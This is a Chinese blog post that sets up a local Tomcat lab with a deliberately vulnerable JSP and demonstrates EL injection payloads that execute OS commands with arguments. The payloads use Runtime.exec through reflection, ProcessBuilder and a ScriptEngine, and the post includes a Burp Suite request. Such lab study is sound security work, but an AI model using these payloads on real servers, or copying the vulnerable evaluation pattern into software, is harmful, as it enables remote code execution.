tomcat,el表达式执行带参数命令,字符串数组,String[],el表达式注入

news/2024/9/20 5:56:18 标签: tomcat, java

准备环境:

docker pull tomcat:8;


docker run --name tomcat8 -p 808:8080 -v /tmp/CC:/usr/local/tomcat/webapps/  -d tomcat:8;

如下为 /tmp/CC/app/index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" isELIgnored="false" %>
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>

<%
    String codeParam = request.getParameter("code");
    String input = (codeParam != null && !codeParam.isEmpty()) ? codeParam : "";
    out.println("Input: " + input + "<br>");
    String res = (String) PageContextImpl.proprietaryEvaluate(input, String.class, pageContext, null);
    out.println(res);

Boolean re2 = (Boolean) PageContextImpl.proprietaryEvaluate("${(4*2) > 0 && 2 > 0}", Boolean.class, pageContext, null);
out.println(re2);

Long re4 = (Long) PageContextImpl.proprietaryEvaluate("${(4*2) > 0 && 2 > 0 ? 8 : 0}", Long.class, pageContext, null);
out.println(re4);
%>

那么code可以为:

code=${a123=["ping","-c","30","127.1"];a123.getClass()}

输出:class java.util.ArrayList

${a123=["ping","-c","21","127.1"];a123.toString()}
#输出:[ping, -c, 21, 127.1]

${a123="ping,-c,28,127.1";a123.toString().split(",").getClass()}
#输出:class [Ljava.lang.String;

${a123="touch,/tmp/Z";b1=a123.split(",");b123=b1.getClass();a12=''.getClass().forName("java.lang.Runtime");a12.getMethod("exec",b123).invoke(a12.getMethod("getRuntime").invoke(null),b1)}
#输出Process[pid=806, exitValue="not exited"]

是仿照这句话改造的:

${a123=javax.script.ScriptEngineManager.newInstance();a123.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')")}

BurpSuite 的repeater :

POST /app/index.jsp HTTP/1.1
Host: 127.0.0.1:8088
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=5CA5923F898DF72C4FC49863E68A9257
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 563

code=${a123%3d"touch,/tmp/Z"%3bb1%3da123.split(",")%3bb123%3db1.getClass()%3ba12%3d''.getClass().forName("java.lang.Runtime")%3ba12.getMethod("exec",b123).invoke(a12.getMethod("getRuntime").invoke(null),b1)}

如下可以用

code=${Runtime.getRuntime().exec("ping,-c,28,127.1".split(","))}
#这样也可以的,输出 Process[pid=825, exitValue="not exited"]

但是如下就不行了,原因不明:

code=${java.lang.Runtime.getRuntime().exec("ping,-c,28,127.1".split(","))}

仅仅加了开头的:  java.lang 

附赠java.lang.ProcessBuilder类执行带参数命令:

${a="".getClass().forName("java.lang.ProcessBuilder");b=a.getDeclaredConstructor("".split(",").getClass());c=b.newInstance("ping,-c,78,127.1".split(","));c.start()}

 如下代码失败,原因不明:

${a=java.lang.ProcessBuilder.newInstance("ping,-c,178,127.1".split(","));a.start()} 
#失败
${a=ProcessBuilder.newInstance("ping,-c,178,127.1".split(","));a.start()} 
#失败

参考:

一种新型Java一句话木马的实现 - yzddmr6

https://cn-sec.com/archives/712733.html


http://www.niftyadmin.cn/n/5666667.html

相关文章

Java 数据类型转换详解:隐式转换(自动转换)与强制转换(手动转换)

目录 前言 取值范围从小到大的关系&#xff1a; 隐式转换&#xff08;自动转换&#xff09; &#x1f4dc;示例 1&#xff1a;基本类型隐式转换 &#x1f4dc;示例 2&#xff1a;算术运算中的类型提升 &#x1f4dc;示例 3&#xff1a;byte、short 和 char 的自动转换 隐…

Greiner 经典力学(多体系统和哈密顿力学)第二章 学习笔记

第二章 学习笔记 第二章的题目是 Free Fall on the Rotating Earth。这章的内容就是第一章结论的一个直接应用。这一章假设地心是做匀速直线运动的&#xff0c;也就是地心坐标系是惯性系 L。在地表处建立一个 M 坐标系。 首先先指出书上一个错误&#xff0c;书上公式 2.1 写的…

在windows上使用vs code调试Rust程序

视频参考&#xff1a;https://www.youtube.com/watch?vTlfGs7ExC0A 前置条件 需要安装的软件&#xff1a; rustvs codeMinGW 或者其它能在 Windows 平台上运行 gdb、gcc 和 g 的软件。 需要安装的插件&#xff1a; rust-analyzer CodeLLDB 然后&#xff0c;在 vs code 中…

51单片机+proteus+实验(I2C和蜂鸣器)

目录 1.蜂鸣器 1.1基本概念 1.1.1蜂鸣器的简介 1.1.2蜂鸣器的硬件原理 1.1.3蜂鸣器的音色 1.2代码 1.2.1不同音色驱动 1.2.2使用Music Encode1软件来生成音乐 1.3proteus仿真 2.I2C 2.1基本概念 2.1.1 I2C的基本概念 2.1.2 I2C的通讯时序 2.1.3AT24C02数据帧 ​编…

希尔排序(ShellSort)详解

希尔排序的底层是插入排序&#xff0c; 不了解插入排序的友友可以先看我下面这篇文章&#xff1a; 插入排序详解-CSDN博客 思路 就整体而言&#xff0c;希尔排序不过是多用了几次插入排序&#xff0c; 预排序→插入排序&#xff0c; 预排序的作用是让数组元素更接近于有序…

【WPF】01 微软官方介绍开篇

这篇引入微软的首页介绍&#xff0c;比较全面&#xff0c;用于个人学习查看的内容&#xff0c;方便查找&#xff0c;后续将根据实战情况&#xff0c;逐步积累应用到的方法实现的效果等。 WPF 介绍 Windows Presentation Foundation (WPF) 是下一代显示系统&#xff0c;用于生…

Linux云计算 |【第四阶段】NOSQL-DAY1

主要内容&#xff1a; NoSQL概述&#xff08;RDBMS、NoSQL&#xff09;、部署Redis服务、Redis数据类型&#xff08;字符串、散列类型、列表类型、集合类型、有序集合类型&#xff09;、Redis其它操作命令、修改Redis服务运行参数、部署支持PHP和Redis的Nginx服务器 一、NoSQL…

NEMESIS: NORMALIZING THE SOFT-PROMPT VECTORS OF VISION-LANGUAGE MODELS

文章汇总 发现的现象 动机的描述 Norm增加会导致性能下降&#xff0c;Norm降低会导致性能上升。于是作者提出&#xff1a; 我们需要规范化VLMs中的软提示吗? 实验验证 在左图中的紫色块中可以看到&#xff0c;随着模型性能的上升&#xff0c;Norm value会不断下降。 解决…